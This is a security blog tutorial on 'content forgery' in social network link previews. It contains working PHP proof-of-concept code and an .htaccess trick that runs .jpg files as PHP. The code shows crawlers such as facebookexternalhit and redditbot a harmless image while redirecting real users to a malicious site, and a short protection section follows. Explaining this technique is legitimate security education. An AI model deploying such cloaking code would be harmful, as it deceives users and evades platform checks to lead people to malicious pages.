Content Forgery in Social Networking Sites

-


Web Application vulnerabilities in social networking sites are very common these days. In this article, we will discuss a vulnerability found in social networking sites which make it possible to spoof the content shown to the user.
Basically, whenever someone wants to share, post or send a link on Facebook or some other social networking site, a request goes through from their servers to the link which the user wants to share. This happens because Facebook (or that particular social networking site) wants to display a quick snapshot of what appears in the link to the user.
However, these requests by social networking sites are easily identifiable: due either to the user-agent field in the headers of the incoming requests to the server, or through their source IP address that resolves to a particular domain name. Hence, it is possible for a malicious person to differentiate between the requests coming from the social networking sites and those coming from the users.
The attacker can then display a simple image when the request is coming from Facebook so that on Facebook, the snapshot appears to be that of a simple image. When the user clicks the link on Facebook however, the attacker can know that the request is from the user by checking the user-agent field and redirect him to a malicious website.

That Easily Identifiable Request

Let’s say I want to share a link (http://google.com) on my Timeline. Whenever I type the link, Facebook automatically identifies it as a url and sends a request to http://google.com. This is because it wants to display a quick snapshot of what actually appears to be in the link. As we can see from the image below, Facebook has displayed a quick snapshot of how http://google.com appears like today.

These requests to the google.com server are easily identifiable. The user-agent of the incoming request is an indication of the social networking site being used, or else the IP address of the incoming request resolves to a particular domain name. For example, Facebook uses a custom user-agent with the name “facebookexternalhit” and have their IP addresses resolve to tfbnw.net, whereas Google+ uses a custom user-agent with the name “Feedfetcher-Google”.
By using some custom php code like “$_SERVER['HTTP_USER_AGENT']” to get the user-agent value and “gethostbyaddr($_SERVER['REMOTE_ADDR'])” to resolve the IP address, we can easily identify whether the request is coming from a social networking site like Google+ or Facebook or just a regular user.

Implementation

One of the most important things necessary to implement this is to have a domain and an access to a publicly reachable server. We will have a .jpg on our server which will have the php code to identify the user-agent or IP address and display the response accordingly. However, in order for the php code to be run in the jpg file, the jpg file must be interpreted as a php file by the server. The following two lines when added in the .htaccess file will serve our purpose. The code has been taken from http://www.blackhatacademy.org/security101/Facebook
AddType x-httpd-php .jpg

AddHandler application/x-httpd-php .jpg
The first line assures that any .jpg file will be interpreted as a php file, whereas the second line assures that any file with the extension .jpg will be treated as a php program.
Once this is done, we need to have the php code in our .jpg file on the server. The following lines of code demonstrate the exploit code for Facebook, Google+ and Websense. The code has been taken fromhttp://www.blackhatacademy.org/security101/Facebook with the comments and the code a bit modified.
<!--?<span class="hiddenSpellError" pre=""-->php

# User agent checking methods
#user-agent string for Facebook
$fb_string = '/facebookexternal/i';
#user-agent string for GooglePlus
$gplus_string = '/Feedfetcher-Google/i';       .
# rDNS Lookup Methods
# Websense Host
$host_websense = '/<a href="http://websense.com/i" target="_blank">websense.com/i</a>';
# facebook host
$host_fb = '/<a href="http://tfbnw.net/i" target="_blank">tfbnw.net/i</a>';
# Load the request properties
# Load the user-agent
$u_agent = $_SERVER['HTTP_USER_AGENT'];
# Load the http-referrer
$u_ref     = $_SERVER['HTTP_REFERER'];
#Resolve the Remote address to a domain
$u_host  = gethostbyaddr($_SERVER['<wbr>REMOTE_ADDR']);</wbr>
# If we're coming from or facebook or websense or google plus,
if (preg_match($host_fb,$u_host) || preg_match($host_websense,$u_<wbr>host) || preg_match($fb_string,$u_<wbr>agent) || preg_match($gplus_string,$u_<wbr>agent)) {</wbr></wbr></wbr>
# Display an image
header('Content-Type: image/jpeg');
@readfile ('/var/www/localhost/cute_<wbr>kitten.jpeg');
} else {
# Rickroll this unsuspecting user
header('Location: <a href="http://evilsite.com/" target="_blank">http://evilsite.com</a>');
}
?>
The code is pretty simple to understand. We check the user-agent, and the IP address of the incoming request. If the user-agent is identified as that of either Facebook, Google Plus or Websense, then we know that this could be a request to take a snapshot of the url. Hence we display an image present on our server. Note that we also need to modify the Content-Type of the response to make it appear as an image.
Therefore, on the social networking site (say Facebook), the snapshot of the url appears as an image. However, when the user clicks on the url, this time the user-agent is not of Facebook, Google+ or Websense- instead, it is the user-agent of the user itself. The php code identifies this as a regular user and redirects him to his malicious website (in this case evilsite.com).
Similarly, the POC code for Reddit is demonstrated below. This code has been taken fromhttp://www.chokepoint.net/?id=5
<!--?<span class="hiddenSpellError" pre=""-->php
# User agent checking methods
$reddit_string = '/redditbot/i';
# Load the request properties
$u_agent = $_SERVER['HTTP_USER_AGENT'];
# If we're coming from or facebook or websense or google plus,
if ( preg_match($reddit_string, $u_agent) ) {
# Display an image
header('Content-Type: image/jpeg');
header('Content-Transfer-<wbr>Encoding: binary');</wbr>
header('Content-Length: ' .  filesize('real_image.jpeg'));
@readfile ('real_image.jpeg');
} else {
# Rickroll this unsuspecting user
header('Location: <a href="http://www.youtube.com/watch?v=dQw4w9WgXcQ%27" target="_blank">http://www.youtube.com/watch?<wbr>v=dQw4w9WgXcQ'</wbr></a>);
}
?>
There is also a POC facebook application available at http://www.chokepoint.net/?id=5. It allows us to input both an image and a redirect URL. As you can see below, I have given the input image as the Google Logo, whereas the redirect url is http://youtube.com.

Once this is done, click on Submit. You will see a “like” button, a “send” button and a “Reddit this!” button appear. You can now send this request to yourself to check this vulnerability.
Here is what the sent message looks like. As you can see, the snapshot contains the image of the google URL.
However, when we click on the url, we will be redirected to youtube.com. Try this yourself to see!

Protection Against Content Forgery

One of the ways to prevent from Content Forgery is to spoof the user-agent field to look like it is coming from a normal user. Another method could be to spoof the user-agent field as the user-agent of the user itself (i.e the user who is sharing or posting the link).

Conclusion

In this article, we examined a vulnerability caused by easily identifiable  requests made via Social Networking sites. Hence, these can be filtered out from legitimate requests made by users. We’ve seen how this allows us to spoof the content which is actually appearing on the site. This could be used to redirect the users to malicious web pages through these social networking sites simply because the original snapshot of the url looks pretty simple and harmless.

Comments

Post a Comment

Popular posts from this blog

AntiCloud Trojan Reverse Engineering Analysis

-
Image
Introduction In this paper we are going to talk about the Anticloud Trojan, also know as the  TrojanDropper:Win32/Bohu.A and  B  variant. This malware originated in China and was designed to target the Cloud-Based Technology of major Chinese AntiVirus Vendors. For this reason, Bohu has also been called  AntiCloud Trojan . This is the first malware to specifically target cloud based technologies and will likely set a trend. As more corporations and governments move applications and services into the cloud, it will become an increasingly important target for malware developers. We can expect sophisticated malware that attacks clients and embeds itself into cloud-based apps, potentially without the user being able to determine that the cloud-based service is compromised. This trojan presents some interesting features, such as: Hash Check Evasion. Packet Interception via NDIS Filter. Cloud-Servers Access Lock via SPI network filter in order to Bypass antivirus Detection. So
Read more

SQL Injection: The Equal Opportunity Vulnerability

-
Image
Introduction In the  first installment of this series , we discussed application security within the Software Development Process by demystifying the adoption of security controls within the development organization. We also took a deeper dive into identifying potential vulnerabilities based on threats to attack surfaces exposed to the application, a process known as threat modeling. In this installment, we are going to take a technical dive into specific vulnerabilities that can be used to compromise the attack surfaces and discuss what is arguably one of the most prevalent attacks to applications and inflicts the most exposure of sensitive data: SQL Injection. Injection attacks attempt to infiltrate an application by injecting malicious content into the application through available input channels. Input channels can be in the form of form fields, uploads, 3 rd  party API, data access channels, configuration files, input files: essentially, any point at which the application r
Read more

Secure Sockets Layer (SSL)

-
Image
Secure Sockets Layer (SSL): How It Works What Happens When a Browser Encounters SSL > A browser attempts to connect to a website secured with SSL. > The browser requests that the web server identify itself. > The server sends the browser a copy of its SSL Certificate. > The browser checks whether it trusts the SSL Certificate. If so, it sends a    message to the server. > The server sends back a digitally signed acknowledgement to start an SSL encrypted session. > Encrypted data is shared between the browser and the server. Encryption Protects Data During Transmission Web servers and web browsers rely on the Secure Sockets Layer (SSL) protocol to help users protect their data during transfer by create a uniquely encrypted channel for private communications over the public Internet. Each SSL Certificate consists of a key pair as well as verified identification information. When a web browser (or client) points to a secured website, th
Read more